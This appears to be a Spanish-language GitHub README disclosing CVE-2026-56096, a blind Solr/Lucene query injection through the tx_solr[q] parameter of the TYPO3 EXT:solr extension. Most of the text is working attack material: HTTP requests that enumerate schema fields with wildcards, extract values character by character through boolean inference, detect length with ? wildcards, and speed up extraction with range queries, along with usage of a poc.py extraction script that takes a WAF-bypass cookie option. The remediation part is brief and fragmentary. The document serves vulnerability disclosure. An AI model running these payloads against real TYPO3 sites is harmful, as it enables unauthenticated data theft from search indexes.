yairhinkis/cve-2026-56096Prueba de concepto y análisis técnico de CVE-2026-56096, una inyección de consulta Solr a ciegas en TYPO3 EXT:solr que permite la enumeración de campos y la extracción de datos sin autenticación.
Se descubrió una vulnerabilidad de seguridad arquitectónica en la extensión oficial de Apache Solr para TYPO3 (EXT:solr / apache-solr-for-typo3/solr). El problema permite a atacantes remotos no autenticados inyectar sintaxis de consulta arbitraria de Solr/Lucene a través del parámetro de búsqueda tx_solr[q], lo que posibilita la enumeración ciega no autorizada de campos y la extracción completa de metadatos del índice de búsqueda.
EXT:solr (Parámetro de búsqueda: tx_solr[q])CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NLa extensión EXT:solr acepta términos de búsqueda proporcionados por el usuario a través del parámetro tx_solr[q] y los reenvía al motor Apache Solr. Por diseño, la extensión permite determinados operadores de consulta —como comodines (*), comodines de un solo carácter (?), selectores de campo (:) y consultas de rango ([a TO z])— para admitir funcionalidades legítimas como el filtrado facetado.
Dado que estos caracteres se pasaban directamente a la construcción de la consulta del backend sin una lista blanca restrictiva ni una capa de abstracción de consultas, un atacante puede proporcionar sintaxis específica de campo para escapar de los límites de búsqueda previstos. Esto permite a usuarios no autenticados consultar directamente campos internos de Solr y extraer datos del índice mediante técnicas ciegas basadas en booleanos.
field:*Al añadir un comodín a un nombre de campo arbitrario o supuesto, un atacante puede verificar si el campo existe dentro del esquema:
GET /search?tx_solr[q]=siteHash:* HTTP/1.1
Host: target.example.com
Si el campo existe, Solr procesa la consulta en todos los registros coincidentes (a menudo desencadenando códigos de respuesta distintos o comportamientos relacionados con el volumen), lo que permite la enumeración automatizada de campos basada en listas de palabras.
Los atacantes pueden extraer valores de campos sensibles carácter por carácter mediante inferencia booleana:
GET /search?tx_solr[q]=siteHash:a* HTTP/1.1 --> Returns search hits (Value begins with 'a')
GET /search?tx_solr[q]=siteHash:b* HTTP/1.1 --> "Nothing found" (Value does not begin with 'b')
?El operador comodín de un solo carácter (?) puede determinar la longitud exacta de una cadena almacenada antes de comenzar la iteración de caracteres:
GET /search?tx_solr[q]=siteHash:????????????* HTTP/1.1 (Checks for 12+ characters)
GET /search?tx_solr[q]=siteHash:?????????????* HTTP/1.1 (Checks for 13+ characters)
[a TO z])Las consultas de rango permiten la extracción mediante búsqueda binaria sobre el carácter inicial, reduciendo las solicitudes necesarias de 26 a ~5 por posición de carácter:
GET /search?tx_solr[q]=siteHash:[a TO m] HTTP/1.1 --> Determines if character falls within 'a'-'m'
GET /search?tx_solr[q]=siteHash:[n TO z] HTTP/1.1 --> Determines if character falls within 'n'-'z'
La combinación de detección de longitud, consultas de rango y comodines de prefijo permite la extracción completa de campos con una huella de solicitudes mínima.
Se proporciona un script de verificación automatizado (poc.py) para demostrar la extracción ciega utilizando las técnicas descritas anteriormente.
python3 poc.py -u "https://target.example.com/?L=0&id=1" -f "someField"
-u, --url: URL de destino que apunta al endpoint de búsqueda de TYPO3.
-f, --field: Nombre del campo del esquema que se va a enumerar/extraer (p. ej., appKey, siteHash).
-c, --cookies: (Opcional) Cookies de sesión si se requiere autenticación o verificación de omisión de WAF.
-o, --output: Archivo de salida para almacenar los prefijos descubiertos (predeterminado: validated_fields.txt).
EXT:solr.El escape global de caracteres es insuficiente porque operadores como * y : cumplen funciones de búsqueda previstas. La remediación requiere un modelo de análisis y una lista blanca en la capa de aplicación:
[email protected]).